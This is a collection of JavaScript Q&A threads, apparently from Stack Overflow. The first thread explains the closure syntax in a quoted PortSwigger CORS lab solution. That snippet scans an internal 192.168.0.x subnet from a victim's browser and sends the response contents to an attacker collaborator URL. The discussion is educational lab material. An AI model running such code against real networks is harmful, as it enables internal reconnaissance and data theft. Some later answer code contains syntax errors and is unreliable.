Understanding a construct in a javascript snippet - javascript

I was looking at the solution of the Cors Lab (https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) and wanted to understand the code, but I am not very familiar with javascript, and despite trying searching a lot I didn't come up with an answer.
The snippet is this:
var q = [],
collaboratorURL = 'http://$collaboratorPayload';
for (i = 1; i <= 255; i++) {
q.push(
function(url) {
return function(wait) {
fetchUrl(url, wait);
}
}('http://192.168.0.' + i + ':8080'));
}
for (i = 1; i <= 20; i++) {
if (q.length) q.shift()(i * 100);
}
function fetchUrl(url, wait) {
var controller = new AbortController(),
signal = controller.signal;
fetch(url, {
signal
}).then(r => r.text().then(text => {
location = collaboratorURL + '?ip=' + url.replace(/^http:\/\//, '') + '&code=' + encodeURIComponent(text) + '&' + Date.now()
}))
.catch(e => {
if (q.length) {
q.shift()(wait);
}
});
setTimeout(x => {
controller.abort();
if (q.length) {
q.shift()(wait);
}
}, wait);
}
What I am having problems with is the following:
for(i=1;i<=255;i++){
q.push(
function(url){
return function(wait){
fetchUrl(url,wait);
}
}('http://192.168.0.'+i+':8080'));
}
At a high level I understand what they are trying to do but inside this for loop, I cannot understand what the function passed to the push does, and how does
('http://192.168.0.'+i+':8080')
links to the push function.

Essentially they declare and call an anonymous function, which then returns another anonymous function, which gets pushed onto the array.
So, it could also be written like this:
function urlToFunc(url) {
return function(wait) { fetchUrl(url, wait); }
}
// later on
q.push(urlToFunc('http://192.168.0.'+i+':8080'));
.push simply adds the function returned by that funcion to the array q.
Another way to write it, which is less confusing imo, is like so:
q.push((wait)=>{ fetchUrl('http://192.168.0.'+i+':8080', wait); });

What that snippet does is it pushes a function that, when invoked, calls fetchUrl with two arguments:
The URL, which is the 'http://192.168.0.'+i+':8080' (passed into the IIFE - the immediately invoked function expression, which calls the inner function immediately, with a url of 'http://192.168.0.'+i+':8080')
The wait, which is the argument the array item is called with later (like in q.shift()(wait);)
It's a confusing piece of code though. Since ES6 syntax is being used, it would make far more sense simply to declare i with let in the for loop. Then, every function pushed to the array can simply reference i instead of requiring an IIFE:
for (let i = 1; i <= 255; i++) {
q.push(
function(wait) {
fetchUrl('http://192.168.0.' + i + ':8080', wait);
}
);
}
This is equivalent to the original snippet.

Related

NodeJS output is function instead of printed strings

I am having trouble printing the correct result in NodeJS, why isn't my code printing the strings in the correct way ? I feel like console.log is not called at all. Why do I get :
[Function]
[Function]
[Function]
[Function]
Expected result:
Tigrou (buddy of Spider) was here!
Spider (buddy of Tigrou) was also here!
Tigrou (buddy of Spider) are in a boat...
1 (buddy of 2)3
The code I thought would work:
function build_sentence(...args)
{
var i = 0
var s = ""
for (let arg of args)
{
if (i == 1)
{
i++
s += "(buddy of " + arg + ") "
}
else
{
s += arg + " "
i++
}
}
return s
}
function mycurry(build_sentence)
{
return function(...args)
{
if (!args)
{
return build_sentence();
}
else
{
return mycurry(build_sentence.bind(this, ...args))
}
}
}
const curried = mycurry(build_sentence);
console.log(curried("Tigrou")("Spider")(" was here!"))
console.log(curried("Spider")("Tigrou")(" was also here!"))
console.log(curried("Tigrou", "Spider", " are in a boat... "))
console.log(curried(1)(2, 3))
Here's a full working solution for you (except the string spacing)
const build_sentence_n_params = 3;
function build_sentence(...args)
{
var i = 0
var s = ""
for (let arg of args)
{
if (i == 1)
{
i++
s += "(buddy of " + arg + ") "
}
else
{
s += arg + " "
i++
}
}
return s
}
// A generic n-parameter curry helper, that returns fn return value
// after n-parameters given, and continues currying with more parameters.
// Note that in this configuration, the caller would also need
// to know how many parameters to give before a value is returned.
function ncurry(fn, n)
{
// Note that we have to return an outer function here, rather than just
// returning `curry` function directly, so `params` is unique for each
// initial call to `curried`.
return function(...args) {
// Initial arguments (note: we can use this array without copy, since
// rest params will always be a new array)
const params = args;
// This function contains the return logic without having to duplicate it below
function next() {
// If we have all params, call the given function, otherwise
// return the curry function again for more parameters
return !n || params.length >= n ? fn.call(null, ...params) : curry;
}
// The outer function is only called once, but this curry
// function will be called for each additional time.
function curry(...args) {
// Accumulate additional arguments
params.push(...args)
return next();
};
return next();
};
}
function mycurry(build_sentence)
{
// Call the generic n-parameter curry helper to generate
// a specific curry function for our purposes.
return ncurry(build_sentence, build_sentence_n_params);
}
const curried = mycurry(build_sentence);
console.log(curried("Tigrou")("Spider")(" was here!"))
console.log(curried("Spider")("Tigrou")(" was also here!"))
console.log(curried("Tigrou", "Spider", " are in a boat... "))
console.log(curried(1)(2, 3))
Your method invocations are quite confusing so I took the liberty to simplify your code.
If you run the following:
const curried = build_sentence("Tigrou", "Spider", " was here!");
console.log(curried);
You will get your desired output:
Tigrou (buddy of Spider) was here!
Why you are using the mycurry method is beyond my understanding.
When debugging your code, the sentence is already built on the first invocation, and what happens is that the subsequent invocations are not really invocations of the inner functions.
the main issue about our code is that !args is all the time false, as [] to boolean is also true.
you have to use !args.length. however you should add an extra call to your curried function usage like curried(1)(2, 3)().
the other approach is using comparison of curried function number of required params (build_sentence.length) and the number of params passed (args.length), but it's not working with spread scenario.
upd:
ex.1 - using Function.prototype.length property
const curry = fn =>
(...args) =>
fn.length <= args.length
? fn(...args)
: curry(fn.bind(this, ...args));
const func1 = (a, b, c) => `${a},${b},${c}`;
const func2 = (...args) => args.join(',');
console.log(curry(func1)(1,3)(4));
console.log(curry(func1)(1,3,4));
console.log(curry(func1)(1)(3)(4));
console.log(curry(func2)(1));
in this case currying will work fine for func1 (function that has enumerable number of arguments) because func1.length = 3. however for func2 - func2.length = 0, so (curry(func1)) will be executed after first call.
ex.2 - using number of arguments passed
const curry = fn =>
(...args) =>
!args.length
? fn()
: curry(fn.bind(this, ...args));
const func = (...args) => args.join(',');
console.log(curry(func)(1)(2,3,4)(5)());
in this case function currying will only return result of fn executing, when called with no arguments. however it will handle innumerable arguments of curried function properly.

How can I update the condition in a function-wrapped while with callback without using eval()?

I would like to define a function which will act as a while statement (with some addons, but for reasons of simplicity, I will show here a basic wrapper). So with conditions as the first parameter, and the callback to execute at each loop as the second one.
I came at first with this version:
const wrappedWhile = (conditions, callback) => {
let avoidInfinite = 0;
while (conditions) {
callback();
if (avoidInfinite >= 10) {
console.log('breaking while statement for avoiding infinite loop');
break;
}
avoidInfinite++;
}
};
let i = 0;
wrappedWhile(i < 5, () => {
console.log('log from callback: i =', i);
if (i >= 5) {
console.log('the loop continues whereas it should stop');
}
i++;
});
Logically, it is expected to stop when i >= 5. But the conditions parameter is a simple boolean in the wrappedWhile function, so it is always true as i was less than 5 at call.
Then, I came up with another version where conditions is evaluated at each iteration of the loop:
const wrappedWhile = (conditions, callback) => {
while (Function('return ' + conditions + ';')()) {
callback();
}
};
let i = 0;
wrappedWhile('i < 5', () => {
console.log('log from callback: i =', i);
i++;
});
But, if I am not wrong, Function is using eval() in order to work, and all of us once heard that the usage of eval() is not really safe towards code injection.
Now my question is simple: are there more secure alternatives to do what I want to achieve?
After some researches, I found a link which shows a way to evalify in a sandbox environment, but I don't know if it is good way or not.
You should pass a function as a condition and call it in the while loop
const wrappedWhile = (conditions, callback) => {
let i = 0;
while (conditions(i)) {
callback(i);
if (i >= 10) {
console.log('breaking while statement for avoiding infinite loop');
break;
}
i++;
}
};
wrappedWhile((i) => (i < 5), (iteration) => {
console.log('log from callback: i =', iteration);
});

Run the function only once at the same time

I have the following problem. First of all my code so far:
function Auktionator() {
this.versteigern = function(objekt) {
for(var i = 1; i <=3; i++) {
setTimeout(function(x) { return function() { console.log(objekt + " zum " + x); }; }(i), 1000*i);
}
};}
Now I want that only one Auktionator object can run the function at the same time, but I donĀ“t know, how to do it.
Keep track of the number of timeouts running and use a guard clause to prevent concurrent runs.
function Auktionator() {
this.versteigern = function (objekt) {
if (Auktionator.LOCKS > 0) {
console.log('running');
return;
}
for (var i = 1; i <= 3; i++) {
Auktionator.LOCKS++;
setTimeout(function (x) {
return function () {
console.log(objekt + " zum " + x);
Auktionator.LOCKS--;
};
}(i), 1000 * i);
}
};
}
Auktionator.LOCKS = 0;
new Auktionator().versteigern()
new Auktionator().versteigern()
The hacky workaround would be to add a variable isRunning:
// Static variable shared by all instance
Auktionator.isRunning = false;
Then, when you start executing, you check if Auktionator.isRunning === false, set it to true and set it back to false when you're done.
You have a great variety of options to execute code after some async calls:
Promises, some libraries or some awesome stuff brought by ES6.
You could have a global variable
var function_in_use = 0
and then add
function_in_use = 1 at the very beginning of the function's contents and add function_in_use = 0 immediately before the return statement. You could then wrap the entire contents in an if statement: if (!function_in_use) { ....
I don't know if this would suit your particular needs. This would be similar to how #import "filename" statements work in the C language.

How to know when async for loop is done?

I have a for loop that kicks off hundreds of async functions. Once all functions are done I need to run one last function but I can't seem to wrap my head around it knowing when all functions are complete.
I've tried promises but as soon as any of the functions in the loop resolve then my promise function completes.
for(var i = 0; i < someArray.length; i ++){
// these can take up to two seconds and have hundreds in the array
asyncFunction(someArray[i];
}
How can I tell once every function has completed?
An increment
You can add a callback which increments:
for (var i = 0; i < len; i++) {
asycFunction(someArray[i]);
asycFunction.done = function () {
if (i == someArray.length - 1) {
// Done with all stuff
}
};
}
A recursive approach
This type of approach is more liked by some developers but (might) take longer to execute because it waits for one to finish, to run another.
var limit = someArray.length, i = 0;
function do(i) {
asyncFunction(someArray[i]);
asyncFunction.done = function () [
if (i++ == someArray[i]) {
// All done!
} else { do(i); }
}
}
do(i++);
Promises
Promises aren't well supported at the moment but you can use a library. It will add a little bulk to your page for sure though.
A nice solution
(function (f,i) {
do(i++,f)
}(function (f,i) {
asyncFunction(someArray[i]);
asyncFunction.done = function () {
if (i++ === someArray.length - 1) {
// Done
} else { f(i) }
};
}, 0)
Many libraries have .all resolver:
jQuery
q
bluebird
and many more - https://promisesaplus.com/implementations
You can use them or learn their source code.
Assuming the code to be the body of function foo() :
function foo() {
return Promise.all(someArray.map(function(item) {
//other stuff here
return asyncFunction(item, /* other params here */);
}));
}
Or, if there's no other stuff to do, and no other params to pass :
function foo() {
return Promise.all(someArray.map(asyncFunction));
}
You can check number of response.
For every response you can increase counter value and if counter value same as someArray.length then you can assume all Async functions are done and can start next step.

Is there a better way to do callback chaining in javascript?

I wrote a callback helper, that lets me group multiple callbacks into one function variable:
function chainCallbacks() {
var callbacks = arguments;
return function () {
for(var i = 0; i < callbacks.length; i++) {
if(callbacks[i] != null) {
callbacks[i].apply(null, arguments);
}
}
};
}
this works, but I'm wondering if there are any javascript libraries that provide the same functionality? or even better, something that simulates the .NET "event" pattern?
myEvent+=myCallback;
I have modified your chainCallbacks function. You can test below code in JS console (I'm using Chrome -works fine), and check the result.
var result = 0;
function a() {
result += 5;
console.log(result);
_next();
}
function b() {
result += 10;
console.log(result);
_next();
}
function c() {
result += 20;
console.log(result);
_next();
}
function chainCallbacks() {
var _this = this;
var _counter = 0;
var _callbacks = arguments;
var _next = function() {
_counter++;
if(_counter < _callbacks.length) {
_callbacks[_counter].apply(_this);
}
};
_this._next = _next;
return function() {
if(_callbacks.length > 0) {
_callbacks[0].apply(_this);
}
};
}
var queue = chainCallbacks(a, b, c);
queue();
Idea is simple - you call _next() whenever your callback function has finished executing, and you want to jump to another. So you can call _next() e.g. after some jQuery animation as well, and this way you will preserve the order of the functions.
If you want to replace a callback with one that calls the original as well as some others, I'd probably just do something like this:
Requirejs.config.callback = function(orig) {
var fns = [orig, first, second, third];
return function() {
fns.forEach(function(fn) { fn.apply(null, this); }, arguments);
};
}(Requirejs.config.callback);
But if you're doing this often, I think your solution will be as good as it gets. I don't see need for a library.
Requirejs.config.callback = chainCallbacks(Requirejs.config.callback, first, second, third)
A library can't do anything to extend language syntax in JavaScript. It's limited to what's available... no operator overloading or anything.

Categories